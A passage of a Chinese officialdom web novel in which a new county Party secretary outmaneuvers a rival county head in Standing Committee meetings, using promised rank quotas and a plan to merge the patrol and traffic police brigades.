最终,他猛地一咬牙,腮帮子鼓起又落下,几乎是从牙缝里挤出带着血丝的决断:“江**,我……我听您的!”
“我选第二个!就现在!我等一会儿马上去……就去结账!一分不少!”
他感到嘴里充满了苦涩的味道。
江昭宁似乎早有所料,冷冷地补上一刀,目光扫过他胀红的脸:“还有吗?”
“类似的情况,‘王家早餐铺’?‘李家面馆’?任何地方,只要是你们所里人签的、没还清的欠账,有——没——有?有,就一并——了——结!”
“今天天黑之前,我必须在‘清欠簿’上看到所有账单结清、老板签收的字据!”这是在彻底斩断这条利益链。
“……啊!”刘洋意一下子懵了,猝不及防,这是新账老账一起算啊?
刘洋意猛地倒抽一口冷气,身体剧烈地晃了一下,仿佛被无形的重锤狠狠击中!
一股彻骨的寒意瞬间席卷全身,让他控制不住地打了个巨大的冷颤,牙齿格格作响。
他怕的就是这个,这损失不轻啊。
“全部加起来,还,还有二万左右!”他不敢撒谎,硬着头皮道。
“还有吗?”
刘洋意几乎是本能地喊出来,带着劫后余生的急切,赌咒发誓般,“**,我绝不敢再瞒!”
“真的就这这么多了!我这就去结清所有!”
他哪还敢说半个“不”字?
巨大的惊吓过后,心中甚至诡异地升起一丝侥幸——至少,饭碗暂时保住了,还有挽回的余地。
他甚至在混乱中闪过一个念头:与职务比起来,钱算什么……花钱消灾!
江昭宁不再说话,负手而立,深邃的目光越过刘洋意局促不安的肩头。
自己以后要用他,他就必须得过硬!
第26章 通个气!
昨天晚上他就与王海峰商量好了的,在**会上狙击江昭宁,让他拿张彪祭旗树威的事流产。
计划的核心就是:利用规则,让江昭宁首次人事调整提议受挫!
只要王海峰在**会上第一个站出来以“工作延续性”“基层稳定”等提出“异议”。
在座的**,除了一两位外。
其他人要么是他的嫡系,要么是习惯看风向、不愿得罪县长的“墙头草”,必然会跟进反对。
至少凑够六个甚至七个不同意票,轻而易举!
一旦形成“多数不赞同”,江昭宁的提议就会被否决,他这个初来乍到的**将颜面扫地。
新官上任的第一把火,还是烧在自己身上的火星子!
到那时,场面就会极其尴尬。
江昭宁,这个哑巴亏,他吞也得吞,不吞也得吞!
江昭宁被逼得进退维谷、骑虎难下时。
他刘世廷再以“顾全大局”“维护班子团结”的姿态站出来“打圆场”。
提议给张彪一个处分,既给了江昭宁一个台阶下,虽然这台阶是碎的,又保住了张彪的位置。
又显得他刘世廷沉稳老练,懂得平衡。
更重要的是,沉重打击了江昭宁的锐气和掌控力。
一个连**会局面都掌握不了的县委**,那就是个“孱主”,一个空架子!
以后的威信就会一落千丈。
日后,谁还会把他当回事?
王海峰接收到了刘世廷的眼神信号。
他放在桌下的手,下意识地握紧了拳头,手心有些微微出汗。
作为纪委**,他深知江昭宁提议的“狠辣”之处。
张彪的失职是明摆着的,调他去殡仪馆虽然羞辱性极强,但组织程序上,**提名人选,**会表决,完全说得通。
自己跳出来反对,风险极大,等于直接站在了新**的对立面,而且理由很难找得充分有力。
但刘世廷多年的积威、两人之间错综复杂的利益捆绑,一荣俱荣,一损俱损。
还有刘世廷昨晚许诺的“未来保障”太诱惑人,让他别无选择。
箭在弦上,不得不发!
王海峰深吸一口气,喉结滚动了一下,准备开口。
他的目光躲闪着,不敢直视主位上的江昭宁,只盯着自己面前的茶杯,仿佛那碧绿的茶汤里蕴藏着开口的勇气。
“关于江**对张彪同志工作调整的提议……”王海峰的声音有些干涩,刚起了个头。
所有人的心都提到了嗓子眼。
会议室里弥漫着一股山雨欲来的紧张气氛。
江昭宁将这一幕尽收眼底,嘴角甚至掠过一丝微不可察的弧度。
他没有去看刘世廷略带得意的眼神,也没有特意盯着王海峰,只是用那双深邃平静的眼睛扫视全场。
江昭宁依旧平静地坐在主位上,甚至端起茶杯,轻轻吹了吹漂浮的茶叶,仿佛对即将到来的“狙击”毫不在意。
然而,他那双深邃的眼眸深处,一丝冰冷的锐光一闪而逝,如同静待猎物踏入陷阱的猎手。
江昭宁的茶杯,轻轻放回桌面,发出“嗒”的一声轻响。
在这落针可闻的寂静里,却显得格外清晰,仿佛一个信号,敲打在每一个人的神经末梢上。
他从容不迫地做了一个下压手势,“且慢!”
江昭宁声音不高,甚至带着几分温和的磁性,却像一道无形的屏障,瞬间截断了所有的声浪。
会议室里骤然一静,所有人的目光——惊疑的、困惑的、不耐烦的——如同被磁石吸引。
瞬间聚焦在那只刚刚落下的手和它主人那看不出情绪的脸上。
王海峰已经微微前倾的身体僵住了。
“江**?您…还有话说吗?”他转向江昭宁,语气里带着恰到好处的诧异和一丝不易察觉的警觉。
他本能地嗅到了一丝异样,江昭宁的这种打断过于沉稳,不像是在打圆场。
其他**也纷纷停下各自的动作,投来询问的目光。
江昭宁的身体微微后靠,手指轻轻在红木会议桌光滑的表面上敲击了一下,发出笃的一声轻响,似乎在给自己接下来要说的话一个轻松的起点。
他的目光如同探照灯,不疾不徐地从在座每一位**的脸上掠过,那目光仿佛能穿透表面平静的皮囊,窥探到其下翻腾的思绪。
这无声的扫视,让几个**下意识地正了正坐姿,或是
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端起茶杯掩饰。
江昭宁嘴角牵起一抹极其浅淡、近乎漫不经心的笑意。
“嗯,”他拖长了尾音回忆道,“我想起了一个人事指标问题,刚才竟忘记提前给大伙儿通个气了。”
他自嘲地笑了笑。
“什么事?”周明清忍不住开口,作为组织部长,他对任何关于“人事指标”的字眼都异常敏感,心脏在江昭宁拉长的语调中不自觉地加速跳动。
王海峰心头那点警觉骤然扩大。
江昭宁打断他的话,要说的事,这绝不是什么无足轻重的插曲。
“是这样的,”江昭宁的目光扫射了一圈,“我上任之前,奉召去了一趟**组织部。”
“单独谈话中,我向赵部长重点提了一下班子内同志们苦干多年的付出与期待。”
“赵部长体恤下情,对我们县的实际情况表示理解。”
“经过他亲自协调,”江昭宁的手指在空中优雅地虚点了一下,仿佛点中了某种关键,“最终给我们新增两个‘调研员’指标。”
“赵部长特别强调了,这个口子可不好开,算是体谅我们在基层工作的同志的艰辛付出。”
赵部长即为****、组织部长赵端海。
“调研员?!”这三个字如同平地惊雷,瞬间在会议室里炸响!
刚才还沉寂或心思各异的**们,眼神几乎是瞬间“唰”地一下亮了起来!
那是一种混合着渴望、震惊和迅速盘算的精光。
就连一直保持中立姿态、低头记录的县委办主任刘志刚,握笔的手都不自觉地顿了一下。
调研员!
在座的都是浸淫官场多年的老手,太清楚这三个字的分量了。
它名义上是“非领导职务”,是“正处非职”,但谁都知道,这“非职”二字不过是写在纸面上的谦辞。
其考察任命的程序之严谨、要求之严格,与实职正处级领导岗位并无二致!
这不是一个简单的荣誉头衔,它代表着实打实的**地位和经济待遇的跃升!
工资提级自不必说,那意味着每月银行卡上数字的显著增长。
更关键的是那些隐形的、代表着身份和权力的“**待遇”。
第27章 盘算
能够接触到更高级别、更核心的内部文件传阅范围,这意味着信息差和决策先机。
在用车保障上,虽然可能没有专车,但优先级和使用便利性大大提升。
在关系重大的看病就医方面,报销比例向实职领导看齐,甚至能享受某些特殊通道。
至于出差,住宿标准、接待规格,都彻底摆脱了副处级的限制,与正处实职平起平坐。
而在县一级的**班子里,这个头衔的意义就更加非凡!
一个副处级的实职**,一旦加上了“调研员”这个头衔,那就是官场中人尽皆知的“括号正处”!
其**分量、在班子里的排序和话语权,都将发生质的飞跃。
在某些特定场合和权力格局下,甚至隐隐具备了与县**主任、政协主席这些“四大班子”正职比肩的资格!
这是一种身份的象征,一种资历的认可,更是通往更高平台的一块极其重要的跳板。
更重要的是,这种职数在县一级编制控制得极其严格,僧多粥少,狼多肉少。
有时要空出一个位置,得等到某位老同志退休或者出了什么意外才可能有希望。
谁能争取到手,不仅意味着个人的位阶跃升,还代表着其背后力量的运作能力和县委**的高度认可。
一个县里,能拿到几个调研员指标,往往取决于一把手的能量和上级的倾斜力度。
现在,江昭宁轻飘飘地说“要来了两个”,这简直是往本就如沸水般翻腾的**会里,又投入了两块炽热的金砖!
会议室里瞬间弥漫起一种兴奋、紧张与飞速盘算交织的气息。
众人眼神闪动,心思如电转。
哪一个内心深处不是在第一时间就按捺不住地飞速盘算着自己的资历、关系、当前分量以及赢得江**青睐的可能性?
现任县委副**赵永春已经享受了调研员待遇,武装部长段显辉作为军方代表,有其特殊性,通常不占地方职数。
那么,剩下的七位**谁不渴望把这顶象征着身份、待遇和潜在晋升通道的“金帽子”戴在自己头上?
这几乎是他们仕途生涯中,在副处位置上能触摸到的、最实在、最诱人的“天花板”之一了!
而且有了调研员头衔的加持,直接晋升副厅也不是不可能,虽然这种可能性很少。
但是至少在程序上是符合规定的。
王海峰脸上的惊愕彻底凝固,进而转化为一种难以言喻的复杂表情。
他的嘴巴微微张开,似乎想说什么,却发不出任何声音。
江昭宁在这个节骨眼抛出这个指标,本身就是一种强烈暗示:未来支持谁、提携谁,他江**的态度才是决定性的关键钥匙!
支持我江昭宁的决策,就是在为你自己的前程铺路!
他下意识地看向坐在斜对面的刘世廷。
刘世廷给自己私下说的,那像是一个画在纸上的大饼,香气诱人,却不知何时才能烙熟吃到嘴里。
而江昭宁呢?
他没有许诺未来,他直接端出了一盘热气腾腾、货真价实的硬菜!
两个调研员的指标!
这可不是“可能”“争取”,而是“已到手”!
是已经揣在江**兜里的“真金白银”!
这“饼”的香气是如此浓烈。
这不仅仅是待遇的提升,更是江昭宁**在**组织部深厚人脉和强大影响力的直接体现!
他能“要”来,而且是“两个”,这本身就传递了一个极其强烈的信号。
整个会议室的氛围,在江昭宁话音落下的几秒钟内,发生了翻天覆地的逆转!
之前的沉闷、压抑、各怀心思,被一种微妙的、带着强烈渴望和迅速重新评估的空气所取代。
每个人都在飞快地计算着:两个名额,七个人争,谁的机会更大?
江**此刻抛出这个“**”,用意何在?
与眼前讨论的张彪异岗交流议题,又有什么关联?
答案,几乎是呼之欲出的。
江昭宁用最直接、最官场的方式,亮出了他的筹码,也瞬间将主动权牢牢抓回了自己手中。
王海峰毕竟是官场老手,震惊过后,那股多年练就的**敏锐性立刻发挥了作用。
他脸上的错愕如同潮水般迅速退去,取而代之的是一种近乎夸张的坚定和拥护。
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他猛地挺直腰板,声音陡然拔高,带着一种斩钉截铁、不容置疑的力度,目光炯炯地扫过全场,最终落在江昭宁身上,语气激昂地开始了他的“表演”:“江**!您这真是及时雨啊!”
“为我们县解决了大问题,也为干部队伍注入了强心针!”
紧接着话锋一转,“关于张彪同志进行异岗交流的问题,我完全、彻底、毫无保留地支持赞同江**的意见!”
“江**站得高,看得远!”
“张彪同志进行交流轮岗,完全符合中央、省、市关于加强干部多岗位锻炼、防范廉政风险、激发队伍活力的相关精神和具体要求!”
“这绝对是从工作大局出发,做出的英明决策!”王海峰的话语如同连珠炮,逻辑清晰,理由充分。
甚至比江昭宁之前提出的理由更加“高大上”,把“轮岗”的意义直接拔高到了中央精神和廉政建设的高度。
“之前有些同志,”他说着,目光若有若无地瞥了一眼脸色已经变得极其难看的刘世廷,“可能对交流的必要性认识还不够深刻,或者被一些局部的、暂时的困难所迷惑,担心影响所谓的‘工作延续性’。”
“这种想法,是片面的,是短视的!”
“一个岗位,离了谁地球都照样转!但干部队伍的健康活力才是我们事业长远发展的根本保障!”
“江**提出的异岗交流,正是着眼于这个根本!”
王海峰的“慷慨陈词”回荡在会议室里,每一个字都像鼓点敲在众人心上。
他明白,此刻表态的速度和力度,直接关系到自己在江**心中的印象,更关系到那两个诱人指标的可能归属。
什么张彪,什么刘世廷的面子,在“括号正处”面前,都变得无足轻重了。
他必须用最响亮的声音,最坚定的姿态,向江昭宁展示他的“忠诚”和“觉悟”。
周明清立即以极其专业和程序化的口吻补充:“是,干部交流确实有明确制度规定。”
“江**的决定完全在规则框架内,流程上没有问题。”
紧接着,其他**同样不甘示弱,纷纷发言。
第28章 其他的同志散会!
“周部长说得对,我附议,江**这样的决定程序完全没问题,我同意。”
“江**深谋远虑,我支持。”
“这样安排有利于全县工作大局,有利于干部资源合理流动。”
“赞同!”
“赞同!”
“同意江**意见!”
“完全正确!”
“支持组织安排!”
这一切和谐得如同事先排练过一般。
空气中弥漫的再也不是争权夺利的硝烟,而是一种心照不宣的默契和因巨大利益诱惑而暂时凝结的“团结一致”的氛围。
会议完全一边倒。
江昭宁依旧靠在椅背上,脸上那抹浅淡的笑意似乎加深了些许。
他什么也没说,只是轻轻端起面前的茶杯,吹了吹上面并不存在的浮沫。
仿佛王海峰这番激昂的演说,不过是一段早已预料到的、无关紧要的背景音。
权力的天平,就在这短短几分钟内,伴随着两个“调研员”指标的出现和王海峰戏剧性的转向,发生了决定性的倾斜。
刘世廷精心策划的攻势,在江昭宁这轻描淡写却又雷霆万钧的一手下,瞬间土崩瓦解。
接下来的**会,已然失去了悬念。
所有人都清楚,张彪的异岗交流已成定局,而更激烈的、关于那两个宝贵名额的无声角逐,才刚刚拉开序幕。
江昭宁用最官场的方式宣告:在这个棋盘上,他才是那个掌控全局、执子落定的人。
他抛出的不是诱饵,而是试金石,清晰地映照出每一个人的位置与选择。
刘世廷的脸色瞬间变得极为难看。
局势在王海峰倒戈和周明清盖棺定论般的背书下,已然土崩瓦解。
他的嘴角神经质地抽搐了一下,最终化为一声几不可闻的冷哼。
他明白,大势已去。
继续在张彪这个副科级干部调动的具体问题上固执己见,不仅徒劳无功,而且显得极其不识时务。
他终究只是僵硬地点了下头,从牙缝里挤出两个字:“同意**决定。”
“看来同志们认识非常统一,思路非常清晰,”江昭宁的声音平和而具有穿透力,“那么,张彪交流任职的事,就算定下了?”
“组织部门会后按程序办理吧。”他用的是陈述句而非疑问句,宣告着最终的裁决。
“是!”周明清马上应答道。
“至于刚才提到的那‘两个调研员’问题,”江昭宁端起茶杯,轻轻用杯盖撇了撇浮沫,声音变得更加温和,如同闲话家常,“这是好事,是对我们班子同志们长期辛勤工作的一种‘阶段性认可’。”
在座的有资格竞争的**心脏再次不约而同地加快跳动。
“具体的人选嘛……我个人认为,在听取大家合理建议的基础上,尊重**集中制。”
“要本着对组织、对同志高度负责的态度,充分酝酿,慎重研究。”
他的目光变得深邃,“当然,前提是相关同志必须在各方面都符合条件。”
“这事情不着急,会通盘考虑。”
他巧妙地再次把选择权和决定权圈回到自己手中,同时也释放出一个信号:接下来的竞争,是“充分酝酿”“慎重研究”下的竞争,最终决定权在他江**的“通盘考虑”之下。
这是一个需要各显神通去争取、但也必须在他设定的框架内进行的游戏。
他没有给出任何承诺,甚至没有提任何具体的名字。
但在座的七位“潜在候选人”,在听到“尊重**集中制”“听取大家合理建议”这些官场套话时,人人内心深处已经燃起了熊熊的希望之火。
不少人已经在琢磨散会后该如何“适当地”、不着痕迹地向**“汇报思想”“争取指导”了?
江昭宁最后说了一句,“大家还有什么话吗?没有的话,五人小组成员留下来。”
“其他的同志散会!”
空气中仿佛响起夹杂着轻微的椅脚挪动声和纸张窸窣声。
超过一半的**纷纷起身离去。
段显辉戎装笔挺,向江昭宁微微颔首示意,大步流星地离开。
他对地方事务的“超然”姿态,此刻显得尤为突出。
门在身后轻轻合拢,隔绝了外界的喧嚣。
偌大的**会议室,瞬间变得空旷而私密,只剩下五个人。
五人小组会,它不是法定的决策机构,却是县里权力金字塔最核心的尖顶。
它存在的意义,在于县委**需要在重大事项提交**会表决前,与最关键的四位成员——掌握政府运行的县长、协助**抓全面工作的专职副**、手
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握干部监督利剑的纪委**、执掌干部人事大权的组织部长——先行“碰头”“酝酿”、“统一思想”。
其特殊性在于,这五人占据了县委**的近半数,通常11人**中占5席,且囊括了最核心的权力节点。
武装部长是戎装**,部队建制,地方工作的参与程度很少,一般的问题不会表态。
重大的问题绝对会与**保持一致。
当这五人的意见达成一致,尤其是在县委**主导下达成一致时,在后续的正式**会上,几乎就意味着定局。
五人小组会统一的事项,在**得到通过是正常,不通过反而是不正常。
这是需要**亲自反思掌控力是否出问题的信号。
因此,这个范围更小的会议,因其讨论议题的极端核心性和对最终决策的实质性影响,在体制内被高度关注,被称为“**中的**会”。
人数越少的会议,决定的事项就越重要!
周明清脸上堆满了笑容,那是一种混合着亲近、恭维和试探的表情。
他身体微微前倾,声音带着恰到好处的热络:“江**,还有什么重要的事情要议?您指示。”
江昭宁脸上没什么表情,眼神扫过留下的四人。
“都坐吧,坐近点。”江昭宁没有多余的客套,直接在主位发话。
其他四人依言重新坐下,五人的位置形成了一个更紧凑的小圈。
刘世廷的表情紧绷着,眉头微蹙,嘴唇抿成一条直线。
刚才在大会上被釜底抽薪的挫败感还未完全消散,此刻被留下开这个小会,让他本能地警惕着下一个“**”。
江昭宁开口了,声音平稳,带着一种叙述事实的冷静,“昨天我到我们东山城里转了一圈。”
这句话平平无奇,却让在座四人的神经都稍稍绷了一下。
县委**一个人去转悠?
这很能说明问题——他在用最直接的方式观察民情,而且显然看到了不满意的画面。
“街道上,商场边,小区附近,人流密集的地方,”江昭宁继续描述,语气带着一丝不易察觉的冷意,“很少能看到着装整齐、巡逻执勤的治安**。”
“人民群众的见警率,太低了!”
“老百姓走在街上,有什么安全感?”
第29章 撤编
“倒是见交警的几率挺高,”江昭宁话锋一转,语气里带上了一丝不易察觉的冷峭,“十字路口、红绿灯下,穿着反光背心的不少。”
“可问题是,这些人只管车,不管人!”
“管得了你的车是不是压线、是不是超速、是不是违停,但管不了路上的小偷小摸、打架斗殴、寻衅滋事!”
“出了治安案件,他们手一摊:对不起,不归我管。”
“他们是不管的,也没有这职责。”
“我说一个真事,这情况也很普遍。”
“两辆小车在路口蹭了,责任不大,事儿也不复杂。”
“两位车主吵了起来,越吵越凶。”
“旁边就站着个戴大檐帽的处理他们违章问题的交警,可两人当他不存在一样!”
“吵得最凶时,其中一位,当着交警的面,掏出手机就打110报警。”
江昭宁的声音带着一丝荒诞的嘲讽:“你们说,这是不是很滑稽?”
“在他心里,在他这个普通老百姓的认知里,交警根本——不算是警察!”
“交警管不了他‘被欺负’的事,只有打110叫来的‘警察’才算!”
江昭宁环视四人,加重语气道:“在人民群众的心里,在他们的潜意识里,穿着警服、站在路中间指挥交通的这位,他——根本不算是警察!”
“或者说,他的职责范围,狭窄到只够管理汽车轮子!”
“这种割裂,这种资源的浪费和错位,已经到了必须改变的时候了!”
他的话音落下,小会议室里一片寂静。
每个人都在消化这番话带来的冲击和蕴含的巨大变革意向。
终于,赵永春打破了沉默,他放下手中把玩着的笔,语气带着谨慎的探询:“江**,你发现的问题切中要害。”
“那你的意思是……?”
“我的意思吗?”江昭宁身体靠回椅背,双手交叉放在桌上,目光锐利地环视四人,斩钉截铁地说:“很简单!改变这种割裂的、低效的、甚至引发群众认知混乱的制度!”
“打破警种壁垒,整合优化资源!”
“改变这种‘铁路警察各管一段’的落后模式,实行‘一警多能’!”
“让路面上的警力,真正成为既能管事又能管人、既能疏堵保畅又能维护治安、既能巡逻震慑又能及时处置的全能型警力!”
“一警多能?”刘世廷几乎是本能地脱口而出,声音里带着强烈的质疑和一丝压抑不住的不悦,“江**,这可不是小孩子过家家,说改就能改的!”
“警务改革是系统工程,牵一发动全身!”
“你说的理想状态当然好,但现实是什么?我们哪里有那么多的警力?”
“警力总数是受编制严格限制的!”
“如果真要实现您说的‘一警多能’,现有的交警人数根本不够用!起码要扩编一倍。”
“光是扩编这一项,编制从哪里来?”
“县财政能不能负担得起这么多额外的警力?”
“而且即使扩编了,”他加重了语气,“让交警去查处治安案件、处理**矛盾、应对突发**?专业训练够吗?工作经验和心理承受力足够吗?”
刘世廷带着一丝不易察觉的讥讽,“这样搞下去,交警还是交警吗?那不成了‘狗拿耗子’——多管闲事了?”
“专业的事情让专业的人去做,这不是更高效吗?”
最后几个字,他说得低沉但异常清晰,会议室里的空气仿佛瞬间凝固。
周明清眉头一跳,这个比喻……太尖锐了,也太容易刺伤人了。
王海峰也捏了把汗,刘世廷这火气,明显带着对江昭宁强势主导会议的不满。
面对刘世廷明显带着**味的质询。
江昭宁脸上非但没有怒意,反而浮现出一抹淡淡的、带着掌控感的笑容。
这笑容让刘世廷心倏地一沉。
“别省怎么做到的?交警也好,治安警察也好,两者难道隔了一座大山?”
“就是隔了一座大山也能对穿吧?两者水火不相容?一个警察就不能兼具两者的能力?”
“那一警多能这口号就不要提了。”
刘世廷噎住了,哑口无言。
接下来,江昭宁的声音依旧平稳,“刘县长说要扩编?这,当然不是我的选项。”
“增加财政负
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担?更不可能。”
他身体微微前倾,目光炯炯,“我的方案是:撤销现有的巡警大队编制!与交警大队进行实质性合并重组!”
“打造一支集维护治安、管理交通、打击违法、服务人民的全能型队伍。”
此言一出,如同在平静的水面投入一块巨石!
在座四人,除了一向深藏不露的赵永春表情只是稍稍一凝,其余三人脸上都出现了明显的震动和惊愕!
撤销巡警大队?
这绝对是石破天惊之举!
巡警大队虽然很多时候看起来像个“花架子”,象征意义大于实质作用,尤其是在警力紧张的情况下,常被当成补丁到处填缺口。
但它毕竟是县**局的一个内设机构,大队长也是副科实职!编制、人员、机构,说撤就撤?
“巡警大队的现状,”江昭宁的声音带着冰冷的剖析,“恐怕比在座各位都更清楚。”
“编制在那里,吃着皇粮,但效能呢?”
“巡逻任务流于形式者有之,出警效率低下者有之,更有甚者,”他的语气陡然转厉,“仗着身上的制服和手中的一点点执法权,干着敲诈勒索、吃拿卡要勾当的有没有?!”
“整日**、当一天和尚撞一天钟,甚至勾结社会人员充当某种‘保护伞’的,有没有?!”
他每问一句,刘世廷的脸色就难看一分。
作为县长,他当然有掌握情况的渠道,有些内部通报他比谁都先看到。
江昭宁此刻的锋芒,直接刺向了巡警大队这块“顽疾之地”!
“对于巡警大队现有人员,”江昭宁不再看刘世廷,目光转向了王海峰、周明清,“必须进行一次彻底的、不留情面的甄别筛查!”
“第一步,由纪委介入,对举报线索集中梳理核查!”
“由组织人事部门配合,对所有人的岗位履职表现进行客观评估,查阅过往工作记录!”
他语气森然,“那些敲诈勒索,严重违纪,败坏警风警纪,甚至充当黑恶势力保护伞的害群之马,经查实,必须给予最严厉的纪律处分,绝不姑息!”
“同时,坚决清除出**队伍!”
第30章 远超想象!
“对于那些涉嫌触犯法律的败类,移交检察机关依法处理!”
“第二步,”他的语气稍稍放缓,但依旧坚定,“对于问题较轻的,比如偶尔迟到早退、工作马虎懈怠但尚未构成严重违纪的,或者本身没有明显问题但能力平平、缺乏干劲的,集中起来!”
“办一期‘警务规范与能力提升’封闭式学习班!”
“时间不少于一周!”
他强调:“学习班要动真格的!纪律要严,学习要实!从法律知识、警务技能、群众工作方法到职业道德规范,全面提升!”
“结业考核要严格!合格者,才能重新上岗,分配到新成立的交巡警大队!”
“考核不合格、或者学习态度有严重问题的,继续学习!”
“直到合格为止,或者按规定进行转岗、降级处理!”
他谈“人员处理”时的斩钉截铁和冷酷无情,让周明清和王海峰心里都暗暗发紧。
这不仅仅是一次简单的队伍整顿,这更像是一次外科手术般的切除和重组!
力度之大,远超想象!
那些在巡警大队混日子甚至作威作福惯了的人,恐怕要经历一场“炼狱”。
但也只有这样,才能为新机构打下坚实的根基。
最后,江昭宁将矛头精准地指向了巡警大队的领导层。
“至于巡警大队的领导班子,”他端起茶杯抿了一口,轻描淡写地说,“张彪交流这点已经定了。”
稍作停顿,他嘴角甚至带着一丝若有若无的嘲弄:“至于他们的教导员?”
他目光投向周明清:“这个巡警大队的思想**建设,简直是一塌糊涂!教导员形同虚设!”
“根本没履行好职责!队伍散漫成这个样子,教导员负有不可推卸的直接责任!”
他给出最终的裁决:“我的意见非常明确:待人员分流工作完成后,巡警大队撤销,教导员的职务自然免去!”
“考虑到他对队伍管理失职的问题,不宜继续担任重要职务。”
“内部调整一下,安排他到一个偏远些的派出所,做个副所长,到基层去好好反思改造!”
这简直是从云端直接打落尘埃!
一个副科级的教导员,或许权力不大,但也是领导岗位。
现在不仅要因为机构撤销丢位子,还要被追究责任,一脚踢到最基层去当个副所长?
这几乎是**前途的终结!
话音落下,小会议室里死一般的寂静。
只剩下空调嗡嗡的低鸣和每个人沉重的呼吸声。
赵永春脑子里飞速计算着成本:撤销巡警大队意味着机构的消失。
用这部分人整合交警,在不扩编的情况下实现了警力表面上的增加。
但整合的摩擦成本、培训成本巨大。
不过,比起新增编制的财政负担和漫长的审批过程,这确实是江昭宁能想出的最“省钱”也最能快速见效的方案。
而且,彻底清洗巡警大队,拔除可能的利益链条和顽疾,无论从治理角度还是安全角度,都很有必要。
他必须支持。
周明清则迅速在组织人事层面盘算起来:甄别人员、组织学习班、安排岗位调动、职务任免……一系列复杂的人事工作即将启动。
但核心点在于,只要江**的决心已下,这些操作都是可以执行的。
撤销编制是大事,但只要**会通过,报批上级备案即可。
麻烦的是处理那些人可能带来的反弹。
不过有纪委介入顶在前面,压力会小很多。
刘世廷的脸色已经不能用难看来形容,而是青白交织,面颊的肌肉微微抽搐。
王海峰也是心中打鼓。
江昭宁刚才对巡警大队“乌烟瘴气”的描述,直接点在了他这个主管纪委工作的**痛点上——队伍问题这么严重,纪委有没有失察?
是不是没发挥作用?
或者……他不敢细想。
江昭宁点出巡警大队的问题,就像一把双刃剑,既提供了整合的依据,也暗中将了他一军。
但让他最无力的是:这是五人小组会议!
江昭宁抛出这个方案,就是要在核心圈子里统一思想!
张彪的调走已成定局,调研员名额的诱惑还在空中悬着。
他如果在这个议题上硬顶,激烈反对……会是什么后果?
他不敢拿自己的**前途去赌那宝贵的调研
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员名额。
即使再大的不满,他也必须忍!
更何况,从道理上讲,江昭宁指出的巡警大队问题并非空穴来风,整合提升路面警力效能的思路,也并非完全没有道理。
赵永春眼神里却闪过一丝不易察觉的精光。
他敏锐地捕捉到了江昭宁此举的**意图:不仅仅是改革警务制度改革。
同时也是一次强势的姿态展示,巩固县委,尤其是**本人对政法机关的掌控力。
江昭宁每一步棋,都带着极强的目的性和掌控感。
沉默之后,王海峰深吸一口气,第一个开口。
他的声音带着一丝紧绷但态度明确:“江**体察民情,洞悉问题症结,提出的交巡警改革方案,虽然涉及面广、力度大,但确实是提升县城治理水平、增强人民群众安全感的治本之策!”
“方向我完全赞同!”
“整合警力资源,盘活存量,在不扩编的情况下提升效能,思路非常好。”
“纪委这边,我们一定会依据职责,坚决、彻底清查巡警大队存在的违纪违法问题!”
“对于问题人员,一定严惩不贷,决不手软!确保为这次重大改革扫清障碍!”
周明清紧接着表态,语气郑重:“江**关于整合组建交巡警大队的构想,符合警种融合发展的先进理念。”
“具体操作层面,组织部、编办将立即着手研究撤销巡警大队编制、重组人员与交警大队合并的具体方案,确保编制调整合法合规。”
“同时,严格按照江**指示,配合纪委做好人员甄别、纪律审查工作,高质量办好学习提升班,严把新机构入口关!”
“为交巡警大队的建设提供坚强组织保障!”他将组织程序保障说得滴水不漏。
赵永春作为专职副**,分管人事和党务,此刻言简意赅地点点头:“一警多能是解决当前路面警力效能低下、响应碎片化问题的关键一招。”
“机构整合和队伍整顿,势在必行。”
“核心在于执行到位。我同意方案框架。”他没有纠缠细节,表明了对原则的认可。
所有人的目光,都集中到了刘世廷身上。
第31章 不可言说的秘密
刘世廷感到脸上火辣辣的。
他知道这时不表态是不行了。
而且他一个人也阻碍不了决议的通过。
他避开江昭宁平静却极具压迫感的目光,看向桌面,艰难地吞咽了一下,声音带着几分沙哑和压抑:“既然大家都认同撤编巡警大队,成立交巡警大队……我支持!”
“涉及政府这边财政、编制方面需要配合的,我一定全力以赴!”
语气中那份被迫和无奈,却难以完全掩饰。
江昭宁静静地看着他表态完毕,脸上没有任何波澜。
既不显得满意,也没有流露不满,仿佛刘世廷的反应完全在预期之中。
“好,”江昭宁环视四人,声音平和却带着无形的裁决意味,“看来在核心小组内部,对我们东山警务机制进行变革,成立全新的交巡警大队一事,认识是统一的。”
“这就有了一个良好的基础。”
他转向周明清:“周部长,你们的任务重一些。”
“你辛苦一下,明天先牵头政法委、编办、**局相关部门负责同志,成立一个工作专班,拿一个具体实施方案出来。”
“要包括机构重组流程、人员分流与处置时间表。”
“是!”
“没有其他意见的话,那就散会!”
刘世廷率先出门。
回到自己办公室,他重重摔上办公室的门,那声闷响仿佛砸在人心上。
他胸口剧烈起伏,每一次吸气都带着滚烫的铁锈味,直冲脑门。
那股无名孽火来得如此迅猛,瞬间就烧毁了他所有的理智与多年修炼的城府。
他目光扫过桌面,猛地抓起那只跟随他多年的白瓷茶杯,狠狠摔去!
“啪——哗啦!”
刺耳的碎裂声在过分安静的办公室里炸开,无数尖锐的瓷片像被击碎的冰面,带着绝望的寒光迸溅开去。
茶水混着几片泡开的茶叶,在地板上留下了一滩**的深色污迹,袅袅升起最后一丝无力的热气。
他死死盯着那片狼藉,仿佛看到自己苦心经营多年的局面,也正如这茶杯般,在江昭宁那只年轻却无比狠辣的手下,摔得粉身碎骨。
“江昭宁!”这三个字从刘世廷牙缝里挤出来,“好一个乾坤大挪移!”
“两个轻飘飘的调研员指标,就把人心都买走了!”
两个调研员指标就将整个局势翻转,让王海峰当场背刺自己。
这小子虽然年轻,官场那一套玩得炉火纯青,利诱他人,攥着帽子!
把官场这套借力打力、**无形的把戏玩得行云流水。
自己与他比,天生不足,县长毕竟是二把手啊。
本来排挤出马前进后,**位子空缺,经过自己精心运作,这次自己很有升**的希望。
谁知天有不测风云,杀出一匹黑马来。
那张他以为唾手可得的县委**宝座,瞬间被推到了遥不可及的云端。
江昭宁这小子横空出世,一脚踹碎了他的登云梯,更冷酷地碾断了他仕途的脊梁!
他夺了自己伸手可及**之位,断了自己的前程。
他刘世廷为官几十年,熬白了头,熬枯了心,小心谨慎如同在刀尖上跳舞,才爬到今天这个位置。
离东山那最终的权柄仅有一步之遥却失之交臂。
论资历,论手腕,论对东山县这池深水的了解,他江昭宁算什么东西?
江昭宁甫一上任,烧起的“三把火”中,第一把就烧向了张彪。
将他从炙手可热的巡警大队大队长位置上撸了下来。
这还不够!
江昭宁竟悍然将整个巡警大队编制彻底撤销!
一个响当当的实权部门,二、三十号正编人员,还有不少辅警,就这么被轻飘飘地从县局的序列里彻底抹掉了,仿佛从未存在过。
